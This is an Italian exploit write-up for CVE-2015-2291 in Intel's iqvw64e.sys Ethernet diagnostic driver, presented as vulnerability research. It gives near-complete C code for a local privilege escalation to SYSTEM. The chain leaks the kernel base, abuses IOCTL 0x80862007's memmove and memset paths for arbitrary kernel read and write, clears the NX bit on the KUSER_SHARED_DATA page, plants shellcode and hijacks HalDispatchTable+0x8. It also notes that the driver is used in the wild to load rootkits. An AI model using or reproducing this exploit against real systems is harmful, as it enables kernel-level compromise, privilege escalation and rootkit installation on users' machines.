
(1) IQVW32.sys precedente alla versione 1.3.1.0 e (2) IQVW64.sys precedente alla versione 1.3.1.0 nel driver di diagnostica Ethernet Intel per Windows consente agli utenti locali di causare un denial of service o eventualmente eseguire codice arbitrario con privilegi di kernel tramite una chiamata IOCTL appositamente predisposta (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F o (d) 0x80862007.
(1) IQVW32.sys prima della versione 1.3.1.0 e (2) IQVW64.sys prima della versione 1.3.1.0 nel driver di diagnostica Ethernet Intel per Windows consente agli utenti locali di provocare un denial of service o potenzialmente eseguire codice arbitrario con privilegi di kernel tramite una chiamata IOCTL appositamente modificata (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F, o (d) 0x80862007.
Questo repository contiene un'analisi della vulnerabilità in questione, insieme a proof-of-concept funzionanti su Windows 7 SP1 a 64 bit e Windows 10 20H2. Il file del driver si trova nella directory Driver Files. Se dovessi trovare errori di battitura nell'analisi/documento, o se desideri vedere alcuni dettagli con una descrizione più approfondita, apri una issue sul repository! Li correggerò appena possibile.
La motivazione alla base della scrittura di un exploit per questo driver di dispositivo in particolare è dovuta unicamente al fatto che attualmente viene abusato in natura per caricare un rootkit non firmato dell'attaccante. Utilizzando il metodo BYOVD (Bring Your Own Vulnerable Driver), il malware può verificare se è in esecuzione con privilegi elevati, rilasciare una copia del driver vulnerabile, caricare il driver e successivamente sfruttarlo per ottenere l'esecuzione di codice nel kernel e caricare il rootkit. Non sono riuscito a fare reverse engineering del campione di malware, quindi mi sono preso l'incarico di creare l'exploit.
Campioni individuati in natura: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/
Il driver di dispositivo, ovvero iqvw64e.sys, è un driver progettato per eseguire la diagnostica della scheda di rete. Esso consente al componente in modalità utente di interagire con il driver di dispositivo per eseguire una miriade di routine del kernel esponendo alcuni codici di controllo I/O (noti anche come IOCTL), con un codice di controllo I/O "sub" fornito nel buffer di input dell'utente durante l'interazione. Il codice di controllo I/O che verrà utilizzato per raggiungere il percorso di codice vulnerabile è 0x80862007. Oltre al codice di controllo primario, i summenzionati codici di controllo I/O "sub" che verranno trattati in questa analisi saranno il codice 0x33 per raggiungere la chiamata di funzione memmove, e il codice 0x30 per raggiungere i percorsi di codice della chiamata di funzione memset. Questa analisi non coprirà alcun dettaglio relativo alla routine DriverEntry, poiché sulla pagina della documentazione Microsoft c'è abbastanza documentazione per fornirti una spiegazione approfondita.
Per cominciare, vogliamo sapere come possiamo interagire con questo particolare driver di dispositivo. Il mezzo più comune per comunicare con un driver di dispositivo è l'uso di una funzione chiamata DeviceIoControl. L'idea generale alla base di questa funzione è che possiamo passare un handle del driver valido creato da CreateFileA, fornire un codice di controllo I/O che corrisponde alla routine del kernel che vogliamo, passare una struttura (o buffer) che si aspetta, e restituirà i dati nel nostro buffer di output. Sebbene routine come queste possano talvolta essere necessarie (ad es. accedere ai registri specifici del modello per scopi di overclocking), rappresentano anche un serio rischio per la sicurezza. Ma... come?
Nel caso di CVE-2015-2291, la vulnerabilità può essere innescata da un utente senza privilegi. Poiché non sono presenti controlli di sanificazione, e i privilegi di amministratore non sono richiesti per sfruttare la vulnerabilità, questo rappresenta un rischio per la sicurezza. Ciò che si cela sotto questi due difetti è la capacità di controllare completamente le chiamate di funzione memset e memmove esposte dall'interfaccia dei codici di controllo I/O. Ricordi la suddetta funzione DeviceIoControl di prima, come siamo in grado di passare una struttura che verrà utilizzata in una routine del kernel? È così che tutto si unisce.
Facciamo un passo indietro. Per prima cosa vogliamo ottenere l'handle del driver relativo al driver di dispositivo vulnerabile. Ancora prima di questo, però, dobbiamo individuare il named device object corrispondente. Questi sono esposti allo spazio utente tramite un symbolic link (comunemente hard-coded), che può essere trovato usando WinObj, parte della [suite SysInternals]. Sebbene potremmo usare un'utility di dump delle stringhe per estrarre il symbolic link, o in alternativa fare reverse engineering del driver di dispositivo, ho semplicemente caricato il driver e lo ho individuato usando WinObj. Il symbolic link trovato in relazione al driver di dispositivo è \\.\GLOBALROOT\Device\Nal. Per ottenere l'handle del driver, dobbiamo chiamare la funzione CreateFileA e fare in modo che restituisca un handle del driver valido da usare successivamente nel processo. Il codice per questo processo è il seguente:```C
if (h_nal == (HANDLE)-1)
{
printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);
Utilizzeremo l'handle del driver più avanti nel processo di exploitation. Per ora, inizieremo la preparazione del nostro exploit. Il passo successivo sarebbe caricare la libreria `ntdll.dll` usando la funzione [LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) per restituire un [module handle](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types), così da poter individuare dinamicamente le funzioni di cui abbiamo bisogno. Sebbene la libreria `ntdll.dll` possa essere già caricata nel nostro processo, dobbiamo comunque ottenere un handle alla libreria che possiamo usare. Le funzioni che ci servono per l'exploitation sono [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation) per far trapelare l'indirizzo di base del kernel NT (con integrità di processo media) per le fasi successive del processo di exploitation, e la funzione [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html) per attivare la vulnerabilità. Per quanto riguarda il codice per caricare la libreria `ntdll.dll`, è il seguente:```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);
Ora che abbiamo ottenuto un handle alla libreria, inizieremo individuando la funzione NtQueryIntervalProfile. Per iniziare, avremo bisogno di una definizione di tipo per questa funzione, poiché non è documentata. Sebbene sia possibile trovare la definizione di tipo online, l'ho fornita qui per un accesso più facile:```C
typedef unsigned int(__stdcall* NtQueryIntervalProfile)(
unsigned int ProfileSource,
PULONG Interval
);
Per utilizzare questa funzione, dovremo anche dichiarare una variabile (locale o globale, a tua scelta) usando il tipo `NtQueryIntervalProfile`. Ora, come trasformiamo questa variabile in una funzione vera e propria? Per farlo, utilizzeremo una funzione chiamata [GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress). Passando un handle al modulo che vogliamo cercare (il primo parametro) e passando il nome della funzione (il secondo parametro), possiamo individuare qualsiasi funzione desideriamo nel modulo e recuperare un puntatore a quella funzione! Il codice è fornito per aiutarti a elaborare queste informazioni.```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);
Il motivo per cui il caricamento dinamico delle funzioni e la possibilità di utilizzarle funziona è che le funzioni stesse sono puntatori a codice eseguibile. Il corpo effettivo di una funzione è il codice che verrà eseguito.
Ora che abbiamo risolto il puntatore alla funzione NtQueryIntervalProfile, dobbiamo ancora recuperare l'indirizzo della funzione NtQuerySystemInformation. Come in precedenza, abbiamo bisogno di una definizione di tipo per questa funzione e dovremo anche dichiarare una variabile per poterla chiamare. Anche in questo caso, come prima, ho fornito la definizione di tipo per facilitarne l'accesso.```C
typedef NTSTATUS(WINAPI* NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
E, analogamente a prima, dobbiamo individuare la funzione. L'unica differenza tra la chiamata precedente a `GetProcAddress` e questa è la funzione che stiamo cercando. Possiamo copiare la funzione e cambiare il secondo parametro per cercare la nostra seconda funzione. Dopo aver scritto il codice, dovremmo avere qualcosa di simile a questo:```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);
Perfetto! Abbiamo individuato tutte le funzioni non presenti di cui abbiamo bisogno. Ora, dovremo ottenere tramite leak l'indirizzo di base del kernel NT. Con l'aiuto di NtQuerySystemInformation, possiamo creare una query che restituisca gli indirizzi di base e altre informazioni di tutti i driver di dispositivo attualmente caricati. Il primo parametro della funzione NtQuerySystemInformation è un enum, in particolare uno che non è documentato pubblicamente. L'enum è SystemModuleInformation, che ha un valore corrispondente di 0xB. Poi, dovremo passare un puntatore a una delle strutture restituite. Le strutture e gli enum necessari sono forniti di seguito, per gentile concessione di FuzzySecurity (@b33f):```C
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xB,
} SYSTEM_INFORMATION_CLASS;
typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
Ma aspetta, c'è dell'altro! Dovremo specificare la dimensione della struttura da allocare. Poiché la dimensione della struttura varia in base al numero di driver di dispositivo di cui recuperare informazioni, dobbiamo chiamare questa funzione due volte; la prima chiamata alla funzione servirà a recuperare la dimensione prevista della struttura, e la seconda chiamata servirà a recuperare le informazioni e memorizzarle nella nostra struttura. Per recuperare la dimensione, usa l'enum `SystemModuleInformation` menzionato sopra per il primo parametro, passa un puntatore a una variabile che memorizzerà la dimensione della struttura, e passa `0` (o `NULL`) per i restanti parametri. Il codice dovrebbe apparire così:```C
_NtQuerySystemInformation(SystemModuleInformation, 0, 0, &return_length);
Facile! Abbiamo recuperato con successo la dimensione della struttura prevista. Ora dobbiamo allocare memoria per la nostra variabile che memorizzerà le informazioni. Utilizzando una funzione chiamata VirtualAlloc, possiamo allocare memoria nello stack a qualsiasi indirizzo fornito, con qualsiasi dimensione desiderata, con il nostro set di protezioni, e restituire un puntatore a questa memoria. Per i nostri scopi, non abbiamo bisogno di allocare questa memoria a un indirizzo fisso, quindi passeremo 0 per consentire al gestore della memoria di scegliere una posizione in memoria per noi. Inoltre, dovremo anche allocare un blocco di memoria nello stack con la dimensione restituita da NtQuerySystemInformation, motivo per cui abbiamo dovuto memorizzare il valore. Per quanto riguarda il tipo di allocazione e i parametri di protezione, basta usare gli argomenti generici mostrati nel codice qui sotto.```C
module_info = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(0, return_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Ora che abbiamo allocato la memoria dello stack per la struttura restituita, possiamo interrogare le informazioni sul modulo di sistema e recuperare una struttura contenente le informazioni di ogni driver di dispositivo caricato. Per farlo, possiamo riutilizzare la nostra chiamata di funzione a `NtQuerySystemInformation` di prima e passare un puntatore alla struttura (secondo parametro) e la dimensione della struttura (terzo parametro). Ora, hai qualcosa di simile?```C
status = _NtQuerySystemInformation(SystemModuleInformation, module_info, return_length, &return_length);
if (status)
{
printf("\n[-] Failed to query system module information. NTSTATUS: %d (0x%x)", status, status);
unused = getchar();
return 0;
}
printf("\n[+] Queried system module information.");
Beh, spererei che tu abbia qualcosa di simile. Tutto ciò che resta da fare per divulgare l'indirizzo di base del kernel NT è interrogare la nostra struttura! In questo caso non devi confrontare stringhe con il nome del driver, poiché le informazioni sul driver del kernel NT si trovano sempre all'indice 0 in questa struttura. Per recuperare l'indirizzo di base di un driver, è sufficiente stampare, memorizzare o restituire il valore del campo ImageBaseAddress della struttura. È anche buona pratica assicurarsi che il puntatore non sia NULL prima di utilizzarlo.```C
if (module_info)
{
printf("\n[+] Leaked the NT kernel base address. Kernel Base Address: 0x%p", module_info->Modules[0].ImageBaseAddress);
return (unsigned long long)module_info->Modules[0].ImageBaseAddress;
}
printf("\n[-] Failed to leak the NT kernel base address."); unused = getchar(); return 0;
Abbiamo recuperato con successo l'indirizzo di base del kernel. Ora c'è un altro passaggio prima di iniziare il processo di sfruttamento di questa vulnerabilità. Dovremo creare un puntatore `QWORD` (un intero a 64 bit) che conterrà la nostra [PTE (page table entry)](https://en.wikipedia.org/wiki/Page_table) e allocare memoria di stack per esso usando `VirtualAlloc`. Le PTE saranno trattate più avanti in questo documento.
Come dimostrato in precedenza, useremo `VirtualAlloc` per allocare memoria e restituire un puntatore al blocco di memoria. Il codice che ho usato nel mio exploit è mostrato di seguito:```C
pte_address = (long long*)VirtualAlloc(0, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pte_address)
{
printf("\n[-] Failed to allocate stack memory for the leaked page table entry base address pointer. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Allocated stack memory for the leaked page table entry base address pointer. Stack Memory Address: 0x%p", (long long*)pte_address);
Ora che l'ultimo passaggio della procedura di configurazione è terminato, iniziamo il processo di exploitation!
Come menzionato nelle parti precedenti del documento, il codice di controllo IO che vogliamo usare è l'IOCTL 0x80862007. Ma come passiamo i "sub" IOCTL?

Un puntatore al nostro input da spazio utente che passiamo al driver di dispositivo viene memorizzato nel registro rcx. Come possiamo vedere in questa figura, abbiamo notato che viene semplicemente dereferenziato il valore del primo QWORD nella struttura che passeremo. Poi, esegue uno switch-case sul valore ottenuto.

Scorrendo il pseudo-codice decompilato, troviamo due routine che ci permettono di controllare tutti e tre i valori rispettivamente di memset e memmove. Passando un valore di 0x30 come primo QWORD nella struttura, possiamo raggiungere il percorso di codice di memset. In alternativa, passando un valore di 0x33 come primo QWORD nella struttura, raggiungiamo invece il percorso di codice di memmove. Questi due percorsi di codice sono mostrati di seguito rispettivamente.

Osservando gli offset del buffer di input utilizzati, siamo riusciti a creare delle strutture per entrambe queste funzioni da passare, per una lettura più semplice. Nota che c'è un campo QWORD usato come padding. Anche se non imposteremo il suo valore a nulla, abbiamo bisogno di questo campo affinché la nostra definizione di struttura sia corretta. Inoltre, nota i parametri usati nelle chiamate a queste routine. Durante il processo di reverse engineering, abbiamo appreso che i parametri passati sono nell'ordine corretto rispetto alle rispettive definizioni di funzione. Di seguito sono fornite anche le figure che indicano questo.
La struttura di input del percorso di codice di memset:```C
typedef struct _MEMSET_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long Value; // Offset: 0x10 (16)
unsigned long long Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMSET_INPUT_BUFFER, * PMEMSET_INPUT_BUFFER;
La struttura di input del percorso del codice `memmove`:````C
typedef struct _MEMMOVE_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long* Source; // Offset: 0x10 (16)
unsigned long long* Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMMOVE_INPUT_BUFFER, * PMEMMOVE_INPUT_BUFFER;

Dopo una rapida analisi, era lecito supporre che questi ci avrebbero fornito una primitiva di exploit per lettura e scrittura arbitraria nel kernel. Questo è perfetto per lo sfruttamento su Windows 10, poiché non dobbiamo convertire alcuna primitiva di exploit in letture e scritture arbitrarie, e quindi ci consente di sfruttare questa vulnerabilità con facilità.
Per iniziare, useremo la nostra primitiva di exploit memmove per leggere la funzione del kernel nt!MiGetPteAddress+0x13. A questo offset nella funzione, troviamo che esiste un valore arbitrario. Combinandolo con le altre operazioni che possono essere eseguite nel nostro exploit, possiamo calcolare l'indirizzo di base di tutti i PTE! Ricordi la variabile pte_address che abbiamo creato prima? Oppure ricordi il leak dell'indirizzo di base del kernel NT? Tutta la preparazione dell'exploit discussa in precedenza ha reso tutto ciò possibile. Il codice per calcolare l'indirizzo di base di tutti i PTE è illustrato di seguito. Prendi nota dell'indirizzo di KUSER_SHARED_DATA, poiché in Windows 10 20H2 questa era una delle ultime poche regioni di memoria rimaste nel kernel che non era interessata dall'ASLR (Address Space Layout Randomization) del kernel.
```C
unsigned long long kuser_shared_data_loc = 0xFFFFF78000000050;
current_pte_address = kuser_shared_data_loc >> 9;
current_pte_address &= 0x7FFFFFFFF8;
memmove_input_struct.JumpTableCode = 0x33; memmove_input_struct.Source = nt_base_address + MI_GET_PTE_ADDRESS_PLUS_0X13_OFFSET; memmove_input_struct.Destination = pte_address; memmove_input_struct.Length = 0x8;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); current_pte_address += pte_address; printf("\n[+] Calculated page table entry address. Page Table Entry Address: 0x%p", (unsigned long long)current_pte_address);
Ora che abbiamo calcolato l'indirizzo di base del PTE della nostra pagina di destinazione, vogliamo dereferenziare questo indirizzo e recuperare i bit che la voce di pagina sta utilizzando. Avremo bisogno di questi dati tra poco per cambiare questa regione di memoria in lettura, scrittura ed esecuzione. Abbiamo modificato l'indirizzo `source` nella nostra struttura per puntare al nostro indirizzo PTE, e modificato il campo `destination` per puntare a una variabile di stack per memorizzare i bit recuperati, senza modificare nessun altro campo nella struttura di input.```C
unsigned long long current_pte_contents = 0;
memmove_input_struct.Source = current_pte_address;
memmove_input_struct.Destination = ¤t_pte_contents;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Dereferenced page table entry address. Page Table Entry Bits: 0x%llx", current_pte_contents);
Ora che abbiamo i contenuti in bit del PTE effettivo, vogliamo contrassegnarlo come eseguibile senza attivare o disattivare altri bit. Per farlo, vogliamo azzerare il bit di livello più alto nel valore recuperato per rimuovere il bit NX (no execute). Fortunatamente, possiamo usare un'operazione bitwise AND sul valore memorizzato, facendo l'AND con il valore 0x0FFFFFFFFFFFFFFF per portare a termine questo compito. Poi attiveremo una scrittura all'indirizzo del kernel usando la nostra primitiva di scrittura arbitraria, per sovrascrivere il valore memorizzato all'indirizzo del PTE. Per quanto riguarda la nostra struttura, modificheremo il campo source della struttura per puntare ai bit memorizzati, e cambieremo destination per puntare nuovamente all'indirizzo del PTE. Questo è essenzialmente nell'ordine opposto rispetto al recupero dell'indirizzo del PTE. Questo è dimostrato con il frammento di codice qui sotto.```C
current_pte_contents &= 0x0FFFFFFFFFFFFFFF;
memmove_input_struct.Source = ¤t_pte_contents;
memmove_input_struct.Destination = current_pte_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Marked the page table entry as executable. New Page Table Entry Bits: 0x%llx", current_pte_contents);
Prima di continuare, vorremo verificare che i contenuti del PTE siano stati sovrascritti prima di proseguire. Se la sovrascrittura dei bit fallisce, causeremo il crash della macchina (con un bug check `KERNEL_SECURITY_CHECK_FAILURE` o equivalente). Per verificarlo, useremo il comando `!pte` in [WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) per confermare che la nostra sovrascrittura abbia funzionato come previsto.

Esaminando i bit del PTE, possiamo vedere che il bit NX non è più presente! Ciò significa che la regione di memoria `KUSER_SHARED_DATA` ora è eseguibile. Dal momento che stiamo lavorando con questa regione di memoria, ha perfettamente senso posizionare qui il payload del kernel. Dopo aver analizzato il blocco di memoria, abbiamo scoperto che un offset di `0x50` dalla base della regione `KUSER_SHARED_DATA` è memoria libera. Questa è la posizione perfetta per posizionare il nostro payload!

Ricordate la nostra primitiva di scrittura `memset` di prima? Usando questa primitiva, possiamo iterare attraverso tutti i byte del nostro payload del kernel e scrivere ogni singolo byte in questa regione di memoria usando `memset`. Sebbene sia possibile usare `memmove` per scrivere il payload in questa posizione, volevamo un pretesto per usare entrambe le primitive, per dimostrare come l'una o l'altra possa essere abusata, soprattutto con il pieno controllo. Useremo il codice di salto `0x30` per colpire il percorso di codice di `memset`, con una lunghezza di `0x1` byte da scrivere. Il `destination` dovrà essere incrementato di uno per puntare al byte successivo della memoria liberata, insieme all'offset del nostro payload del kernel. Questo processo può essere dimostrato con il ciclo `for` fornito di seguito.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = shellcode[i];
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Wrote kernel payload at address 0x%llx.", kuser_shared_data_loc);
Mentre innescare una vulnerabilità numerose volte comporta il rischio di far crashare la macchina, questa è un'eccezione, grazie alla stabilità complessiva del driver di dispositivo e alle sue routine (ab)usate. Per il nostro passo successivo, vogliamo recuperare il puntatore a funzione originale memorizzato in nt!HalDispatchTable+0x8. Questo puntatore a funzione recuperato verrà usato nella fase di ripristino e impedirà alla nostra macchina di crashare casualmente a causa dell'accesso a un puntatore a funzione errato. Sebbene questo passaggio non sia molto importante su Windows 7, poiché la nostra funzione di esecuzione del payload non viene chiamata frequentemente, il suo utilizzo è aumentato nelle build successive di Windows 10. Come sempre, memorizzeremo il puntatore restituito in una variabile locale sul nostro stack abusando ancora una volta della nostra primitive di lettura! Useremo inoltre nuovamente l'indirizzo di base del kernel NT leakato, questa volta abbinandolo a un offset verso la nt!HalDispatchTable con un offset aggiuntivo di 0x8.```C
memmove_input_struct.Source = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Destination = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Retrieved the recovery address. Recovery Address: 0x%llx", recovery_address);
Ancora un paio di passaggi! Dopo aver memorizzato correttamente il puntatore originale nella tabella di dispatch, ora è il momento di sovrascrivere lo stesso puntatore con il nostro indirizzo `KUSER_SHARED_DATA+0x50`, che corrisponderà a `0xFFFFF78000000050`. A questo punto, tutto è pronto e siamo pronti a rootare il sistema! Basta semplicemente cambiare l'origine della sovrascrittura del puntatore con quella che era in precedenza la `destination`, e passare un puntatore alla nostra variabile locale contenente il nostro indirizzo per il campo `source`.```C
memmove_input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Source = &kuser_shared_data_loc;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Overwrote an arbitrary kernel function pointer located in the \"HalDispatchTable+0x8\" function table.\n[!] Executing kernel payload...");
_NtQueryIntervalProfile(2, &interval);
La funzione NtQueryIntervalProfile è nota per utilizzare puntatori dalla tabella di dispatch HAL, in particolare l'offset 0x8, ed è comunemente abusata per questo motivo. Con la capacità di scrivere arbitrariamente nella memoria del kernel, questa è una delle tecniche di exploit più semplici in assoluto! A questo punto del nostro exploit, abbiamo i privilegi di nt authority\system, ma vogliamo fare solo un ultimo passaggio prima di generare la nostra bellissima shell: pulizia e ripristino.
Questo verrà raggruppato in un unico passaggio, poiché sono entrambi semplici. Useremo entrambe le primitive di scrittura arbitraria un'ultima volta. Per iniziare, rimuoveremo tutto il nostro shellcode dallo spazio kernel. Questo è un compito facile, poiché possiamo usare lo stesso ciclo for per iterare sulla lunghezza del nostro payload. Questa volta, sovrascriveremo la memoria con zeri, esattamente come era prima dell'esecuzione del nostro exploit.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = 0;
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Removed the kernel payload from kernel memory.");
Non credo di dover spiegare ulteriormente le iterazioni del ciclo `for`. L'ultimo passo del processo di ripristino (e del processo di sfruttamento in generale) è ripristinare il puntatore di funzione originale in `nt!HalDispatchTable+0x8`. Utilizzando i dati della nostra struttura `memmove` che erano stati originariamente usati per sovrascrivere uno dei tanti puntatori in `nt!HalDispatchTable`, tutto ciò che dobbiamo fare è modificare il campo `source` per passare un puntatore all'indirizzo originale. Come prima, non credo di dover spiegare ulteriormente questa parte ($1 se riuscite a contare quante volte mi sono ripetuto!).```C
memmove_input_struct.Source = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Restored the original function pointer.");
E ora, tocca a te divertirti. Genera quella shell di sistema!

Nel complesso, è stato un bug molto divertente da sfruttare. Il processo di exploitation non è stato complicato quanto pensavo. Mi ha anche permesso di prendere più confidenza con le manipolazioni delle PTE, e di creare il mio primo exploit di elevazione dei privilegi locale che non abusa dell'HackSys Extreme Vulnerable Driver! Spero di rivedervi presto.